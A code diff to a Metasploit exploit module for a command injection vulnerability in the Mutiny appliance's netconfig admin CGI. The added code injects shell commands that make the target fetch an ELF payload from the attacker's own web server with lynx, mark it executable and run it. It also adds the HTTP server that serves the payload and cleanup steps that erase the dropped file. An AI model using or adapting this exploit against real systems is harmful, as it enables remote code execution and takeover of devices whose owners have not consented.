@@ -11,6 +11,8 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
Rank = ExcellentRanking
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
+ include Msf ::Exploit ::Remote ::HttpServer
15
+ include Msf ::Exploit ::EXE
14
16
15
17
def initialize ( info = { } )
16
18
super ( update_info ( info ,
@@ -37,21 +39,37 @@ def initialize(info = {})
37
39
[ 'URL' , 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html' ]
38
40
] ,
39
41
'Privileged' => true ,
42
+ 'Platform' => [ 'unix' , 'linux' ] ,
40
43
'Payload' =>
41
44
{
42
45
'DisableNops' => true ,
43
- 'Space' => 4000 ,
44
- 'Compat' =>
46
+ 'Space' => 4000
47
+ } ,
48
+ 'Targets' =>
49
+ [
50
+ [ 'Unix CMD' ,
45
51
{
46
- 'PayloadType' => 'cmd' ,
47
- 'RequiredCmd' => 'generic python' ,
52
+ 'Arch' => ARCH_CMD ,
53
+ 'Platform' => 'unix' ,
54
+ #'Payload' =>
55
+ # {
56
+ # 'Compat' =>
57
+ # {
58
+ # 'PayloadType' => 'cmd',
59
+ # 'RequiredCmd' => 'python'
60
+ # }
61
+ # },
48
62
}
49
- } ,
50
- 'Platform' => 'unix' ,
51
- 'Arch' => ARCH_CMD ,
52
- 'Targets' => [ [ 'Automatic' , { } ] ] ,
63
+ ] ,
64
+ [ 'Linux Payload' ,
65
+ {
66
+ 'Arch' => ARCH_X86 ,
67
+ 'Platform' => 'linux'
68
+ }
69
+ ]
70
+ ] ,
53
71
'DisclosureDate' => 'Oct 22 2012' ,
54
- 'DefaultTarget' => 0 ) )
72
+ 'DefaultTarget' => 1 ) )
55
73
56
74
register_options (
57
75
[
@@ -65,19 +83,94 @@ def peer
65
83
"#{ rhost } :#{ rport } "
66
84
end
67
85
86
+ def lookup_lhost ( )
87
+ # Get the source address
88
+ if datastore [ 'SRVHOST' ] == '0.0.0.0'
89
+ Rex ::Socket . source_address ( '50.50.50.50' )
90
+ else
91
+ datastore [ 'SRVHOST' ]
92
+ end
93
+ end
94
+
68
95
def on_new_session ( session )
69
- return unless @netmask_eth0
70
- print_status ( "#{ peer } - Restoring Network information" )
96
+ cmds = [ ]
71
97
cmds = [
72
98
%Q|echo #{ @netmask_eth0 } > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask| ,
73
99
%Q|tr -d "\\ n\\ r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak| ,
74
100
%Q|mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask| ,
75
101
%Q|sed -e s/NETMASK=.*/NETMASK=#{ @netmask_eth0 } / ifcfg-eth0 > ifcfg-eth0.bak| ,
76
102
%Q|mv -f ifcfg-eth0.bak ifcfg-eth0| ,
77
103
%Q|/etc/init.d/network restart|
78
- ]
79
- session . shell_command_token ( cmds . join ( " ; " ) )
80
- print_good ( "#{ peer } - Network information restored" )
104
+ ] unless not @netmask_eth0
105
+ cmds << %Q|rm /tmp/#{ @elfname } .elf| unless target . name =~ /CMD/
106
+
107
+ print_status ( "#{ peer } - Restoring Network Information and Cleanup..." )
108
+ begin
109
+ session . shell_command_token ( cmds . join ( " ; " ) )
110
+ rescue
111
+ print_error ( "#{ peer } - Automatic restore and cleanup didn't work, please use these commands:" )
112
+ cmds . each { |cmd |
113
+ print_warning ( cmd )
114
+ }
115
+ end
116
+ print_good ( "#{ peer } - Restoring and Cleanup successful" )
117
+ end
118
+
119
+ def start_web_service
120
+ print_status ( "#{ peer } - Setting up the Web Service..." )
121
+
122
+ if datastore [ 'SSL' ]
123
+ ssl_restore = true
124
+ datastore [ 'SSL' ] = false
125
+ end
126
+
127
+ resource_uri = '/' + @elfname + '.elf'
128
+ service_url = "http://#{ lookup_lhost } :#{ datastore [ 'SRVPORT' ] } #{ resource_uri } "
129
+
130
+ print_status ( "#{ peer } - Starting up our web service on #{ service_url } ..." )
131
+ start_service ( { 'Uri' => {
132
+ 'Proc' => Proc . new { |cli , req |
133
+ on_request_uri ( cli , req )
134
+ } ,
135
+ 'Path' => resource_uri
136
+ } } )
137
+ datastore [ 'SSL' ] = true if ssl_restore
138
+
139
+ return service_url
140
+ end
141
+
142
+ # wait for the data to be sent
143
+ def wait_linux_payload
144
+ print_status ( "#{ peer } - Waiting for the victim to request the ELF payload..." )
145
+
146
+ waited = 0
147
+ while ( not @elf_sent )
148
+ select ( nil , nil , nil , 1 )
149
+ waited += 1
150
+ if ( waited > datastore [ 'HTTP_DELAY' ] )
151
+ fail_with ( Exploit ::Failure ::Unknown , "Target didn't request request the ELF payload -- Maybe it cant connect back to us?" )
152
+ end
153
+ end
154
+
155
+ #print_status("#{peer} - Giving time to the payload to execute...")
156
+ #select(nil, nil, nil, 20) unless session_created?
157
+
158
+ print_status ( "#{ peer } - Shutting down the web service..." )
159
+ stop_service
160
+ end
161
+
162
+ # Handle incoming requests from the target
163
+ def on_request_uri ( cli , request )
164
+ vprint_status ( "#{ peer } - on_request_uri called, #{ request } requested" )
165
+
166
+ if ( not @elf_data )
167
+ print_error ( "#{ peer } - A request came in, but the ELF archive wasn't ready yet!" )
168
+ return
169
+ end
170
+
171
+ print_good ( "#{ peer } - Sending the ELF payload to the target..." )
172
+ @elf_sent = true
173
+ send_response ( cli , @elf_data )
81
174
end
82
175
83
176
def check
@@ -135,8 +228,22 @@ def exploit
135
228
end
136
229
137
230
print_status ( "#{ peer } - Exploiting Command Injection..." )
138
- injection = @netmask_eth0 . dup || rand_text_alpha ( 5 + rand ( 3 ) )
139
- injection << "; #{ payload . encoded } "
231
+
232
+ if target . name =~ /CMD/
233
+ injection = @netmask_eth0 . dup || rand_text_alpha ( 5 + rand ( 3 ) )
234
+ injection << "; #{ payload . encoded } "
235
+ else
236
+ print_status ( "#{ peer } - Generating the ELF Payload..." )
237
+ @elf_data = generate_payload_exe
238
+ @elfname = Rex ::Text . rand_text_alpha ( 3 +rand ( 3 ) )
239
+ service_url = start_web_service
240
+ injection = @netmask_eth0 . dup || rand_text_alpha ( 5 + rand ( 3 ) )
241
+ injection << "; lynx -source \" #{ service_url } \" > /tmp/#{ @elfname } .elf"
242
+ injection << "; chmod +x /tmp/#{ @elfname } .elf"
243
+ injection << "; /tmp/#{ @elfname } .elf"
244
+
245
+ end
246
+
140
247
send_request_cgi ( {
141
248
'method' => 'POST' ,
142
249
'uri' => normalize_uri ( target_uri . path , 'admin' , 'cgi-bin' , 'netconfig' ) ,
@@ -151,7 +258,13 @@ def exploit
151
258
"staticRouteNetmask" => static_route_netmask || rand_text_alpha ( 5 + rand ( 3 ) ) ,
152
259
"staticRouteGateway" => static_route_gateway || rand_text_alpha ( 5 + rand ( 3 ) )
153
260
}
154
- } )
261
+ } , 1 )
262
+
263
+ if target . name =~ /Linux Payload/
264
+ wait_linux_payload
265
+ end
155
266
end
156
267
268
+
269
+
157
270
end
0 commit comments